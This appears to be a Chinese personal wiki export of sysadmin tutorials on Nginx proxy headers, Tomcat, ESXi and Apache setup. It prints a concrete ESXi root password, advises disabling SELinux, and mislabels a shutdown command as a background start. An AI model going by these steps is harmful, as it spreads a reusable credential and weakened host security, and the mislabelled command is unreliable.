示例: 123456789location = /a { proxy_pass http://127.0.0.1:8080/a; ...}location ^~ /a/ { proxy_pass http://127.0.0.1:8080/a/; ...} 仅使用 $host 变量设置和传递 Host 头 几乎应该始终将 $host 用作传入的主机变量,因为无论用户代理如何行为,它都是保证具有某种意义的唯一变量,除非您特别需要其他变量之一的语义. 变量 $host 是请求行或http头中的主机名. 变量 $server_name 是我们当前所在的服务器块的名称. 区别: $host 包含”按此优先顺序:请求行中的主机名,或”主机”请求标头字段中的主机名,或与请求匹配的服务器名” 如果请求中包含HTTP主机标头字段,则 $http_host 包含该内容(始终等于HTTP_HOST请求标头) $server_name 包含了处理请求的虚拟主机的 server_name,正如它在 Nginx 配置中定义的那样.如果一个服务器有多个服务器名,这个变量中只会有第一个. $http_host 比 $host:$server_port 更好,因为它使用的是 URL 中出现的端口号,而不是 Nginx 监听的端口号,后者是 $server_port 使用的端口. 示例: 1proxy_set_header Host $host; 正确设置 X-Forwarded-For 头的值Rationale ​\t鉴于最新的httpoxy漏洞,确实需要一个完整的示例来正确使用 HTTP_X_FORWARDED_FOR. ​\t简而言之,负载均衡器设置头信息中的’最新’部分.我认为,出于安全原因,管理员必须手动指定代理服务器. ​\tX-Forwarded-For 是一个自定义的HTTP头部,它携带了客户端的原始IP地址,这样端点的应用程序就能知道这个地址是什么. ​\t否则,它只会看到代理的IP地址,这可能会导致一些应用程序出现问题 ​\tX-Forwarded-For 取决于代理服务器,它应该传递连接到它的客户端的IP地址. ​\t当连接通过一系列代理服务器时,X-Forwarded-For 可以提供一个以逗号分隔的IP地址列表,其中第一个地址是最远的下游(即用户). ​\t正因为如此,位于代理服务器后面的服务器需要知道哪些代理服务器是可信的. ​\t使用的代理可以将此头设置为其希望的任何值,因此您不能信任它的值.尽管大多数代理确实设置了正确的值. ​\t这个头部主要被缓存代理使用,在这些情况下,您控制着代理,因此可以验证它提供给您的信息是否正确. ​\t在所有其他情况下,它的值应被视为不可信的. ​\t一些系统也使用 X-Forwarded-For 来执行访问控制.许多应用程序依赖于知道客户端的实际IP地址来帮助防止欺诈和启用访问权限. ​\tX-Forwarded-For 头部字段的值可以在客户端设置 - 这也可以被称为 X-Forwarded-For 伪造.然而,当通过代理服务器发出web请求时,代理服务器通过附加客户端(用户)的IP地址修改 X-Forwarded-For 字段.这将在 X-Forwarded-For 字段中产生2个逗号分隔的IP地址. ​\t反向代理不是源IP地址透明的.当你需要后端服务器的日志中的客户端源IP地址是正确的时,这是一个问题.我认为解决这个问题的最佳方案是配置负载均衡器添加/修改带有客户端源IP的 X-Forwarded-For 头,并以正确的形式转发给后端. ​\t不幸的是,在代理端我们无法解决这个问题(所有解决方案都可能被伪造),重要的是这个头被应用服务器正确解释.这样做确保了应用程序或下游服务拥有准确的信息来进行决策,包括那些关于访问和授权的决策. 为了防止这种情况,我们必须默认不信任那个头部,并从我们的服务器向后追踪IP地址: ​\t首先我们需要确保 REMOTE_ADDR 是我们信任的,有能力在 X-Forwarded-For 的末尾追加了一个正确的值.如果是这样,那么我们需要确保我们信任 X-Forwarded-For 中的IP,信任它在自己之前追加了正确的IP,依此类推.直到最后,我们得到一个我们不信任的IP,在那一点上我们必须假设那是我们用户的IP.- 这个观点来自Xiao Yu在代理和IP欺骗中的观点. Example123456# 它存在的整个目的是为了执行追加行为:proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;# 上面的设置等同于这个:proxy_set_header X-Forwarded-For $http_x_forwarded_for,$remote_addr;# 下面的设置也和上面的等同,但在这个例子中我们使用了 http_realip_module:proxy_set_header X-Forwarded-For "$http_x_forwarded_for, $realip_remote_addr"; 不要在反向代理后面使用带有 $scheme 的 X-Forwarded-Proto 反向代理可以设置 X-Forwarded-Proto,以告知应用程序它是HTTPS还是HTTP甚至是无效名称.schema 变量仅在需要的时候才会被评估(仅用于当前请求). 如果设置了 $schema 变量且沿途遇上多个代理,则会导致变形.例如:如果客户端转到https://example.com,则代理将方案值存储为HTTPS. 如果代理与下一级代理之间的通信是通过HTTP进行的,则后端会将方案视为HTTP. 示例: 12345678# 1) 客户端 <-> 代理 <-> 后端proxy_set_header X-Forwarded-Proto $scheme;# 2) 客户端 <-> 代理 <-> 代理 <-> 后端# 在第二层代理中设置X-Forwarded-Proto头为https时可以使用以下注释掉的指令# proxy_set_header X-Forwarded-Proto https;# 但是,为了保持与第一层代理接收到的scheme一致,我们使用下面的指令proxy_set_header X-Forwarded-Proto $proxy_x_forwarded_proto; 始终将 Host,X-Real-IP 和 X-Forwarded 标头传递给后端Rationale ​\t在使用Nginx作为反向代理时,你可能希望将远程客户端的一些信息传递给你的后端Web服务器.我认为这是一个好做法,因为它能让你更好地控制转发的头部信息. ​\t这对于位于代理后面的服务器来说非常重要,因为它允许正确地解释客户端.代理是这些服务器的”眼睛”,它们不应允许对现实的扭曲感知.如果并非所有请求都通过代理,那么直接从客户端收到的请求可能包含例如不准确的头部中的IP地址. ​\tX-Forwarded头部对于统计或过滤也很重要.另一个例子可能是你的应用中的访问控制规则,因为如果没有这些头部,过滤机制可能无法正常工作. ​\t如果你使用像Apache这样的前端服务作为你的API的前端,你将需要这些头部来理解连接API时使用的IP或主机名. ​\t如果你使用https协议(现在已经成为标准),转发这些头部也很重要. ​\t然而,我不会完全依赖于所有X-Forwarded头部的存在,或者他们数据的有效性. Example12345678910111213141516171819202122232425262728293031323334353637location / { proxy_pass http://bk_upstream_01; # 以下头部也应传递给后端: # - Host - 来自请求行的主机名,或来自Host请求头字段的主机名,或匹配请求的服务器名 # proxy_set_header Host $host:$server_port; # proxy_set_header Host $http_host; proxy_set_header Host $host; # - X-Real-IP - 将访问者的实际远程IP地址转发给被代理的服务器 proxy_set_header X-Real-IP $remote_addr; # X-Forwarded头部堆栈: # - X-Forwarded-For - 标记通过代理连接到服务器的客户端的原始IP # proxy_set_header X-Forwarded-For $remote_addr; # proxy_set_header X-Forwarded-For $http_x_forwarded_for,$remote_addr; # proxy_set_header X-Forwarded-For "$http_x_forwarded_for, $realip_remote_addr"; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # - X-Forwarded-Host - 标记通过代理连接到服务器的客户端的原始主机 # proxy_set_header X-Forwarded-Host $host:443; proxy_set_header X-Forwarded-Host $host:$server_port; # - X-Forwarded-Server - 代理服务器的主机名 proxy_set_header X-Forwarded-Server $host; # - X-Forwarded-Port - 定义客户端请求的原始端口 # proxy_set_header X-Forwarded-Port 443; proxy_set_header X-Forwarded-Port $server_port; # - X-Forwarded-Proto - 标记通过代理连接到服务器的客户端的协议 # proxy_set_header X-Forwarded-Proto https; # proxy_set_header X-Forwarded-Proto $proxy_x_forwarded_proto; proxy_set_header X-Forwarded-Proto $scheme;} prefix 使用不带 X- 前缀的自定义头Rationale ​\t互联网工程任务组(IETF)发布了一个新的RFC(RFC-6648),建议弃用X-前缀. ​\tX-前缀在头部名称前通常表示它是实验性的、非标准的或特定于供应商的.一旦它成为HTTP的标准部分,就会失去这个前缀. ​\t如果有可能将新的自定义头部标准化,请使用一个未被使用且有意义的头部名称. ​\t使用带有X-前缀的自定义头部并不禁止,但是不鼓励.换句话说,你可以继续使用带有X-前缀的头部,但不推荐这样做,并且你不应该将它们记录为公共标准. Example不推荐的配置: 1add_header X-Backend-Server $hostname; 推荐的配置: 1add_header Backend-Server $hostname; 负载均衡负载平衡是一种有用的机制,可将传入的流量分布在几个有能力的服务器之间. 健康检查 健康监控对于所有类型的负载平衡都非常重要,主要是为了业务连续性. 被动检查会按照客户端的请求监视通过 Nginx 的连接失败或超时. 默认情况下启用此功能,但是此处提到的参数允许您调整其行为. 默认值为:max_fails = 1 和 fail_timeout = 10s. 示例: 1234upstream backend { server bk01_node:80 max_fails=3 fail_timeout=5s; server bk02_node:80 max_fails=3 fail_timeout=5s;} down 参数 有时我们需要关闭后端,例如 在维护时. 我认为良好的解决方案是使用 down 参数将服务器标记为永久不可用,即使停机时间很短也是如此. 如果您使用 IP 哈希负载平衡技术,那也很重要. 如果其中一台服务器需要临时删除,则应使用此参数进行标记,以保留客户端 IP 地址的当前哈希值. 注释对于真正永久禁用服务器或要出于历史目的而保留信息非常有用. Nginx 还提供了一个备份参数,将该服务器标记为备份服务器. 当主服务器不可用时,将传递请求. 仅当我确定后端将在维护时正常工作时,我才很少将此选项用于上述目的. 示例1234upstream backend { server bk01_node:80 max_fails=3 fail_timeout=5s down; server bk02_node:80 max_fails=3 fail_timeout=5s;} 安全防盗链1234567location ~* \\.(gif|jpg|png)$ { # 只允许 192.168.0.1 请求资源 valid_referers none blocked 192.168.0.1; if ($invalid_referer) { rewrite ^/ http://$host/logo.png; }}","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"五. Tomcat从入门到精通","path":"/wiki/MiddlewareDocs/五. Tomcat从入门到精通.html","content":"总字符数: 12.88K 代码: 1.91K, 文本: 3.72K 预计阅读时间: 24 分钟 服务器简介WEB服务器主要支持的协议就是HTTP协议,Web服务器专门处理HTTP请求,通常情况下WEB服务器和HTTP服务器说的是同一回事.如:Apache、Nginx、IIS、Tomcat都属于Web服务器. 应用服务器应用服务器通过各种协议来为客户端提供业务逻辑. 如:JBoss、Weblogic、WebSphere都属于应用服务器. 综上: Apache和Nginx是纯粹的Web服务器,而IIS和Tomcat因为具有了解释和执行服务器端代码的能力,可以称作为轻量级应用服务器. JBoss、Weblogic和WebSphere因为能提供强大的J2EE API功能,毫无疑问是绝对的应用服务器. Tomcat,它可以配合Web服务器Apache/Nginx一起使用,也可以作为应用服务器的辅助与应用服务器一起使用. Web服务器主要处理静态页面以及作为Servlet容器,解释和执行servlet/JSP,而应用服务器主要运行业务逻辑. Tomcat与Web服务器Apache是普通服务器,本身只支持静态网页(HTML普通网页),像php,cgi,jsp等动态网页就需要Tomcat来处理. Apache和Tomcat都可以做为独立的web服务器来运行,但是Apache不能解释java程序(jsp,servlet).Tomcat是Apache的扩展. Tomcat是一个支持Servlet和JSP技术的容器.Web服务器Apache、Nginx仅仅支持静态网页,对于支持动态网页就会显得无能为力,而Tomcat(Servlet和JSP能根据实时需要产生动态网页)既能为动态网页服务,又能为静态网页提供支持.尽管Tomcat没有通常的Web服务器快(通常的Web服务器都是用底层语言(如C/C++)编写,而Tomcat用纯Java编写)、功能也不如通常的Web服务器丰富. 一般来说,大型网站都是将Tomcat与Apache/Nginx结合,Apache/Nginx负责接受来自客户端的HTTP请求,然后将HTTP请求转发给Tomcat来处理. 为了提高性能,可以将一台Apache/Nginx连接多台tomcat实现负载均衡. Tomcat与应用服务器目前,Tomcat一直被认为是Servlet容器.然而,Tomcat并不仅仅如此,它还提供了JNDI和JMX的实现机制.尽管如此,Tomcat仍然还不能算是应用服务器,因为它不提供J2EE API的其他大多数支持. 目前许多的应用服务器通常把Tomcat作为它们Servlet容器. 对于开发者来说,如果是为了寻找Servlet、JSP、JNDI和JMX技术来生成Java Web应用的话,选择Tomcat是一个优秀的解决方案;但是为了寻找其他的J2EE API的支持,那么寻找一个应用服务器或者把Tomcat作为应用服务器的辅助是一个不错的解决方案;第三种方式是找到独立的J2EE API实现,然后把它们跟Tomcat结合起来使用,虽然整合会带来相关的问题,但是这种方式是最为有效的. Tomcat web服务器软件安装Linux安装12345678910# 新建目录mkdir /usr/local/tomcat# 进入目录cd /usr/local/tomcat/# 下载tomcat文件,具体版本可自行选择,这里我用的是8.0.30wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.30/bin/apache-tomcat-8.0.30.tar.gz# 解压压缩包tar -zxvf apache-tomcat-8.0.30.tar.gz# 进入配置文件目录cd /usr/local/tomcat/apache-tomcat-8.0.30/conf/ 1234567891011121314151617# 修改tomcat端口,tomcat的默认端口号是8080vim server.xml# 以下选中的这个代码片段是设置HTTP请求的配置,其中可以看到8080和8443两个端口,8080就是HTTP的端口.# 那么redirectPort属性的作用是什么呢?当用户用http请求某个资源,而该资源本身又被设置了必须要https方式访问,此时Tomcat会自动重定向到这个redirectPort设置的https端口.# 可以将8080改为自己需要设置的端口号# 启动tomcat## 进入bin目录下cd /usr/local/tomcat/apache-tomcat-8.0.30/bin/# 启动tomcat./startup.sh# 后台启动nohup ./shutdown.sh &# 访问网址http://192.168.64.170:8080/# 关闭tomcat./shutdown.sh 1234# 启动项目# 进入安装包所放在的文件夹cd /usr/local/tomcat/apache-tomcat-8.0.30/webapps/# 将war包放置到此目录,如果是新tomcat将里面的文件全部删掉 Windows安装安装jdk8https://repo.huaweicloud.com/java/jdk/8u201-b09/https://repo.huaweicloud.com/java/jdk/8u201-b09/ 双击安装,并记住安装目录 配置环境变量 安装完成后,右击”我的电脑”,点击”属性”,选择”高级系统设置”; 选择”高级”选项卡,点击”环境变量”; 在 “系统变量” 中设置 3 项属性,JAVA_HOME、PATH、CLASSPATH(大小写无所谓),若已存在则点击”编辑”,不存在则点击”新建”. 变量设置参数如下: 变量名:JAVA_HOME 变量值:C:\\Program Files\\Java\\jdk1.8.0_201 // 要根据自己的实际路径配置 变量名:CLASSPATH 变量值:.;%JAVA_HOME%\\lib\\dt.jar;%JAVA_HOME%\\lib\\tools.jar; //记得前面有个”.” 如果是新建的话不要输.;只需要输:%JAVA_HOME%\\lib\\dt.jar;%JAVA_HOME%\\lib\\tools.jar; 变量名:Path 变量值:%JAVA_HOME%\\bin;%JAVA_HOME%\\jre\\bin; JAVA_HOME CLASSPATH输入/在已有的变量值后面添加 修改Path 变量由于 win10 的不同,当选中Path 变量的时候,系统会很方便的把所有不同路径都分开了,不会像 win7 或者 win8 那样连在一起 检查 打开 cmd,输入 java -version,出现以下版本号,说明配置成功了 安装tomcathttps://tomcat.apache.org/download-80.cgihttps://tomcat.apache.org/download-80.cgi 确定型号 型号讲解(通常下载最新版之前的那一版) 找到下载位置 进行下载这里下载Windows-64位 解压文件即可 配置Tomcat环境变量 配置jdk:如果使用Tomcat必须配置javahome 配置Tomcat:环境变量新建:变量名:CATALINA_HOME变量值:Tomcat所在路径(能看到目录简介页面的路径) 检验是否安装成功:打开目录bin下的startup.bat,出现启动时间则说明安装完成注意:bat是windows里面的,sh是Linux里面的 ​ 访问网址,成功显示http://localhost:8080/ Tomcat目录简介1234567bin # 可执行文件(startup.bat-启动 shutdown.bat 关闭)conf # 配置文件(server.xml)lib # tomcat依赖的jar文件log # 日志文件(记录出错等信息)temp # 临时文件webapps # 可执行的项目(将我们开发的项目放入该目录)work # 存放由jsp翻译成的java,以及编辑成class文件(jsp->java->class) Tomcat使用注意:运行Tomcat时(startup.bat),可能会出现报错. 报错原因:Tomcat端口号冲突(默认端口号为8080,比较常见),建议修改端口号 修改方法:进入目录下的conf配置文件,进入到server.xml里面将端口号进行修改(修改为8888). 修改完重新运行即可因为我是全新环境,就不修改了 常见状态码:404:资源部存在(常见) 200:一切正常(一般看不见) 403:权限不足(比如访问a目录,a目录设置不可见) 300/301/302:页面种定向(跳转) 500:服务器内部错误(代码错误,常见)502 网关错误 其他编码:积累 创建项目在目录的webapps里面创建项目. 1、配置文件需要有WEB-INF文件夹 1、进入ROOT里面复制WEB-INF文件夹 2、在新建的文件里面粘贴复制的WEB-INF文件夹,并进入添加两个文件夹,分别是classes和lib 2、创建项目在JspProject-test下创建jsp项目记得显示出文件扩展名后在把后缀名改成.jsp index.jsp内容: 123456789101112<html><head><title>测试</title></head><body>hello jsp...<!--这里面为jsp脚本,里面存放java代码--><%out.print("hello word...");%></body></html> 3、运行项目 bin–>startup.bat 运行Tomcat 网页输入:localhost:8888/项目文件夹名称 运行完毕 关闭 正常关闭: bin/ shutdown. bat bin/startup.bat 进入到里面点击 ctrl+c 强制关闭: 点击启动窗口的x 5、假如我在JspProject目录下再创建一个jsp文件 index2.jsp内容 123456789101112<html><head><title>jsp2</title></head><body>hello jspla;sl;akdlaskdl;sakdl;sdlaksdlkl...<%out.print("hello word...");%></body></html> 运行结果: 默认还是第一个文件 4、更改默认访问的jsp文件问题:我们发现,浏览器默认访问index.jsp这个文件,那么该如何修改设置呢 解决:在项目的WEB-INF的web.xml中添加以下代码 12345//根据顺序优先打开,如果第一个打不开,就打开第二个,一次往下 <welcome-file-list> <welcome-file>index2.jsp</welcome-file> <welcome-file>index.jsp</welcome-file> </welcome-file-list> 完成 5、访问指定jsp文件localhost:8888/项目文件夹名称/jsp文件名 配置虚拟路径我们知道,我们所创建的项目都是在webapps里面创建的,其实这里的webapps就是一个虚拟路径,如果我想在别处创建项目,那么该如何修改虚拟路径呢? 方式一:任意地方创建项目 第一步:介绍在conf文件夹中的server.xml中修改 123<Host name="localhost" appBase="webapps" # name="localhost" 本地虚拟路径在webapps里面# appBase="webapps" 本身存在的虚拟路径unpackWARs="true" autoDeploy="true"> 第二步:配置其他虚拟路径在Service.xml中host内配置Context标签,path+docbase属性。 **path:**虚拟路径(相对路径[相对于webapps]和绝对路径) **docBase:**实际路径 实际的项目在哪里 **reloadable:**如果这个属性设为 true,tomcat 服务器在运行状态下会监视在WEB-INF/classes 和 WEB-INF/lib 目录下 class 文件的改动,如果监测到有 class 文件被更新的,服务器会自动重新加载 Web 应用. **crossContext:**如果想在应用内调用 ServletContext.getContext()来返回在该虚拟主机上运行的其他 web application 的 request dispatcher,设为 true.在安全性很重要的环境中设为 false,使得 getContext()总是返回 null.缺省值为 false. **Debug:**与这个 Engine 关联的 Logger 记录的调试信息的详细程度.数字越大,输出越详细.如果没有指定,缺省为 0. 访问path,也就是访问docBase path的相对路径: 1<Context docBase="" path="/JspProject-test" /> # 一定要注意后面是一个/ path的绝对路径: 1<Context docBase="" path="D:\\JspProject-test" /> 一般都用path的相对路径 实际路径:项目所在位置 1<Context docBase="D:\\JspProject-test" path="/JspProject" reloadable = "true"/> 表示 我以后访问/JspProject,就是访问E:\\Tomcat\\虚拟路径文件夹\\JspProject 配置后记得重启 将Tomcat集成到IDEA中,并创建和部署JavaEE项目创建web项目新版本IDEA 创建普通的Java工程文件 添加框架支持 选择Web Application,勾选web.xml 生成目录 将index.jsp内的内容改掉 配置tomcat 第一步: 第二步:引入选择本地 选择Tomcat的安装目录 ​ 点击修正 点击应用–>确定 导入jsp的jar包 启动测试 热部署更新资源,不需要关闭原来运行的服务.比如我把网页进行一下改动,那么就不用关闭原来已经运行的服务,直接运行即可 URL访问地址设置这个时候需要重启服务器 Tomcat运行原理分析https://www.w3cschool.cn/javaweb/f5mi1mss.htmlhttps://www.w3cschool.cn/javaweb/f5mi1mss.html Tomcat 是运行在 JVM 中的一个进程.它定义为[中间件],顾名思义,是一个在Java项目与JVM之间的中间容器. Web 项目的本质,是一大堆的资源文件和方法.Web 项目没有入口方法 ( main 方法),,意味着 Web 项目中的方法不会自动运行起来. Web项目部署进 Tomcat 的 webapp 中的目的是很明确的,那就是希望 Tomcat 去调用写好的方法去为客户端返回需要的资源和数据. Tomcat 可以运行起来,并调用写好的方法.那么,Tomcat 一定有一个 main 方法. 对于Tomcat 而言,它并不知道我们会有什么样的方法,这些都只是在项目被部署进 webapp下后才确定的,由此分析,必然用到了 Java 的反射来实现类的动态加载、实例化、获取方法、调用方法.但是我们部署到 Tomcat 的中的Web项目必须是按照规定好的接口来进行编写,以便进行调用. Tomcat 如何确定调用什么方法呢.这取决于客户端的请求,http://127.0.0.1:8080/JayKing.Tomcat.Study/index.java?show 这样的一个请求,通过 http 协议,在浏览器发往本机的 8080 端口,携带的参数 show 方法,包含此方法的路径为 JayKing.Tomcat.Study,文件名为:index.java. 原理总结 Tomcat 需要 main 方法启动. Tomcat 需要监听本机上的某个端口. Tomcat 需要抓取此端口上来自客户端的链接并获得请求调用的方法与参数. Tomcat 需要根据请求调用的方法,动态地加载方法所在的类,完成类的实例化并通过该实例获得需要的方法最终将请求传入方法执行. 将结果返回给客户端( jsp/html 页面、 json/xml 字符串).","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"一. Esxi安装教程","path":"/wiki/VirtDocs/一. Esxi安装教程.html","content":"总字符数: 8.48K 代码: 无, 文本: 1.84K 预计阅读时间: 8 分钟 VM准备 打开windows上安装的vmware workstation虚拟机 选择文件—->新建虚拟机—->自定义—->选择下一步 版本选择:选择ESXI6.7版本(选择和但当前镜像一致的版本)->继续下一步 选择虚拟机配置,选择性能配置及网络模式 添加自定义硬件,2个nat网卡一起用 载入esxi镜像 ESXI安装 开启ESXI6.7虚拟机 按Enter安装ESXI 按F11同意接受用户的协议 选择安装的磁盘,键盘布局默认.即可按Enter继续 设置ESXI Root用户密码,密码为:JIANGJIYUE@2023 按F11继续安装 按Enter重启计算机 ESXI配置 ESXi启动完成后,在主界面选择F2键配置,登录root用户,进行初始化配置,网络配置 ESXI网络配置选择Configgure Management Network—->回车即可 配置ipv4 选择Set static IP address and network configuration进行配置ESXI的静态IP地址,使用空格选中,更改完成后回车确认 按ESC确认并按Y保存配置,返回后确认ip状态,是否变化.如下所示为192.168.64.197 ESXI开启SSH和SHELL(可选,不用的话就不要开启了) 选择Troubleshooting Options选项 选择ESXI中Enable ESXi Shell选项,回车后确认状态.已变为Enable状态,已开启. 选择Enable SSH选项,同理,回车即可开启 完成配置后返回主页面,确认当前信息 测试当前配置的是否生效:使用windows+r建,快速打开cmd窗口,确认到当前网络是正常连通的 WEB访问使用ESXI ESXI安装已完成,现在我们可以创建服务器了 接下来,我们就可以创建虚拟机了 ESXI创建虚拟服务器 上传镜像文件上传你要装的系统镜像文件 新建虚拟机 选择系统版本 配置硬件并选择iso镜像 查看任务状态是否部署成功:开启 安装Centos,键盘上键选中第一个回车 选择虚拟机使用的语言 设置root密码,等待安装即可 等待重启 使用root登录即可,虚拟机已经创建完成,即可使用 真实服务器安装esxi简介以上也只是通过虚拟化来安装,和真实服务器是不一样的,以下是真实服务器安装的演示,只是前面的步骤不一样 方式一:有屏幕 先设置开机U盘启动开机后按F11进入Boot界面设置U盘启动,选择BIOS BOOT Menu 选择Hard drive C:选择插好的U盘回车启动 选择第一行回车启动 等待 方式二:没屏幕拿网线把真实服务器的管理口和自己的电脑连接,进入控制台界面,启动远程控制,挂载虚拟cd就可以了 在网页上输入服务器的ip地址,输入账号密码进去 进入虚拟控制台 启动虚拟控制台 之后会下载一个文件.下载之后打开,windows要求java7,打开文件,一直下一步就可以了 启动虚拟控制台设置虚拟镜像.设置完虚拟CD镜像后再开机 选择下次引导–>虚拟cd 开机,就会进入esxi安装界面","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"四. Apache从入门到精通","path":"/wiki/MiddlewareDocs/四. Apache从入门到精通.html","content":"总字符数: 21.11K 代码: 16.00K, 文本: 2.07K 预计阅读时间: 1.31 小时 背景 Apache: Apache是世界使用排名第一的Web服务器软件.它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一.它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中. Nginx: Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行.其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好,中国大陆使用nginx网站用户有:百度、京东、新浪、网易、腾讯、淘宝等. 可以使用curl -I(大写i)选项仅查看响应头部信息,我们来看一看国内知名网站部署的服务器类型: 不难发现,现在主流的web服务器都采用nginx的部署方式,毕竟在支持高并发方面有着天生的优势.主流的网站基本采用:lamp/lnmp方式部署web服务器 Apache与Nginx对比? Apache Nginx 稳定、对动态请求处理强 擅长处理静态请求 但同时高并发时性能较弱,耗费资源多 高并发处理能力强、擅长处理反向代理、均衡负载 Apache的相关内容Apache的安装部署123456789101112131415161718# 安装apache软件、手册yum install -y httpd httpd-manual# 打开服务systemctl start httpd# 设置开机自启动systemctl enable httpd# 放行防火墙firewall-cmd --zone=public --add-port=80/tcp --permanentfirewall-cmd --reload# 关闭Selinuxvim /etc/selinux/config# 将SELINUX的值改为disable# /var/www/html---apache根目录,默认发布目录,安装httpd后才会有这个文件# apache默认发布文件,编辑此文件,通过网页可以看到内容vim /var/www/html/index.html 1234测试:在浏览器输入: http://192.168.64.169/# 查看手册http://192.168.64.169/manual Apache的基本信息 目录 位置 主配置目录 /etc/httpd/conf 主配置文件 /etc/httpd/conf/httpd.conf 子配置目录 /etc/httpd/conf.d/ 子配置文件 /etc/httpd/conf.d/*.conf 默认发布目录 /var/www/html 默认发布文件 index.html 默认端口 80 默认安全上下文 httpd_sys_content_t 程序开启默认用户 apache (我们在下载httpd这个软件后,会自动生成apache这个用户) apache日志 /etc/httpd/logs/* 修改Apache默认发布目录123456789101112# 创建文件夹mkdir -p /www/htmlchown -R apache:apache /www/htmlchmod -R 755 /www/htmlecho "Hello Kill3r" >> /www/html/index.htmlvim /etc/httpd/conf/httpd.conf # 复制一行,注释掉原来的,防止自己手写把格式写错DocumentRoot "/www/html" # 将默认发布目录改为/www/html,要保证这个目录存在,否则会启动报错# 修改授权信息<Directory "/www/html">Require all granted # 允许共享该目录下面的东西,否则无法访问</Directory> 修改默认端口(可选)1234567vim /etc/httpd/conf/httpd.conf# 修改默认端口为8080# 重启apachesystemctl restart httpdfirewall-cmd --zone=public --add-port=8080/tcp --permanentfirewall-cmd --reload 修改默认发布文件12345678910vim /etc/httpd/conf/httpd.conf# 默认发布文件就是访问apache时没有指定文件名时默认访问的文件# 这个文件可以指定多个,有访问顺序.# 设置当请求一个目录时,Apache将提供的文件.<IfModule dir_module> DirectoryIndex index.html index2.html</IfModule># 当index.html不存在时,就会访问index2. html Apache 配置文件详细解读123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284# 详细信息请参考 URL:https://httpd.apache.org/docs/2.4/.# 具体而言,请查看 URL:https://httpd.apache.org/docs/2.4/mod/directives.html 对每个配置指令的讨论.# 请注意,在阅读这些指令之前,请确保了解它们的作用.它们只是一些提示或提醒.如果您不确定,请查阅在线文档.已经警告过您了.# 配置和日志文件名:如果您为服务器的许多控制文件指定的文件名以 "/"(或对于Win32系统为"drive:/")开头,服务器将使用该明确的路径.如果文件名不以 "/" 开头,则会在其前面添加 ServerRoot 的值.例如,当 ServerRoot 设置为 "/www" 时,'log/access_log' 将被服务器解释为 '/www/log/access_log',而 '/log/access_log' 将被解释为 '/log/access_log'.# ServerRoot: 服务器配置、错误和日志文件所在的目录树的顶级路径.# 在目录路径的末尾不要添加斜杠.如果将 ServerRoot 指向非本地磁盘,请确保在 Mutex 指令中指定一个本地磁盘,如果使用基于文件的互斥锁.如果希望多个 httpd 守护进程共享相同的 ServerRoot,至少需要更改 PidFile.ServerRoot "/etc/httpd"# Listen: 允许您将Apache绑定到特定的IP地址和/或端口,而不是默认的.还请参阅 <VirtualHost> 指令.# 更改以下示例中的侦听地址以防止Apache绑定到所有可用的IP地址.# Listen 12.34.56.78:80Listen 8080## 动态共享对象(DSO)支持## 要能够使用作为 DSO 构建的模块的功能,您必须在此位置放置相应的 `LoadModule` 行,以便其中包含的指令在使用之前实际可用.# 静态编译的模块(`httpd -l` 列出的模块)不需要在此处加载.## 示例:# LoadModule foo_module modules/mod_foo.so#Include conf.modules.d/*.conf## 如果您希望 httpd 以不同的用户或组身份运行,您必须最初以 root 身份运行 httpd,然后它将切换.## 用户/组:要作为 httpd 运行的用户/组的名称(或编号).# 通常建议为运行 httpd 创建一个专用的用户和组,就像大多数系统服务一样.#User apacheGroup apache# 'Main' 服务器配置## 本节中的指令设置 'main' 服务器使用的值,该服务器响应未由 <VirtualHost> 定义处理的任何请求.这些值还为您稍后在文件中定义的任何 <VirtualHost> 容器提供了默认值.## 所有这些指令都可以出现在 <VirtualHost> 容器内,这种情况下,这些默认设置将被用于定义的虚拟主机进行覆盖.### ServerAdmin:您的地址,服务器问题应该通过电子邮件发送到的地方.此地址将出现在一些服务器生成的页面上,例如错误文档.例如:admin@your-domain.com#ServerAdmin root@localhost## ServerName 指定服务器用于标识自身的名称和端口.# 这通常可以自动确定,但我们建议您明确指定它,以避免启动期间出现问题.## 如果您的主机没有注册的 DNS 名称,请在此处输入其 IP 地址.## ServerName www.example.com:80# 禁止访问服务器文件系统的全部内容.您必须在下面的其他 <Directory> 块中明确允许访问 Web 内容目录.#<Directory /> AllowOverride none Require all denied</Directory>## 请注意,从这一点开始,您必须明确允许特定功能启用 - 因此,如果某些东西不像您期望的那样工作,请确保您已经明确启用它.## DocumentRoot:您将为之提供文档的目录.默认情况下,所有请求都从此目录接收,但可以使用符号链接和别名来指向其他位置.## DocumentRoot "/var/www/html"DocumentRoot "/www/html"## 放宽对 /var/www 内容的访问权限.#<Directory "/www/html"> AllowOverride None # 允许公开访问 Require all granted</Directory># 进一步放宽对默认文档根目录的访问权限:<Directory "/www/html"> # # Options 指令的可能值为 "None"、"All" 或任何组合: # Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews # # 请注意,"MultiViews"必须明确命名---"Options All"不会包含它. # # Options 指令既复杂又重要.有关更多信息,请参阅 # https://httpd.apache.org/docs/2.4/mod/core.html#options # Options Indexes FollowSymLinks # # AllowOverride 控制可以放置在 .htaccess 文件中的指令. # 它可以是 "All"、"None" 或以下关键字的任意组合: # Options FileInfo AuthConfig Limit # AllowOverride None # # 控制谁可以从此服务器获取文件. # Require all granted</Directory># DirectoryIndex: 设置当请求一个目录时,Apache 将提供的文件.#<IfModule dir_module> DirectoryIndex index.html index2.html</IfModule>## 以下行防止 Web 客户端查看 .htaccess 和 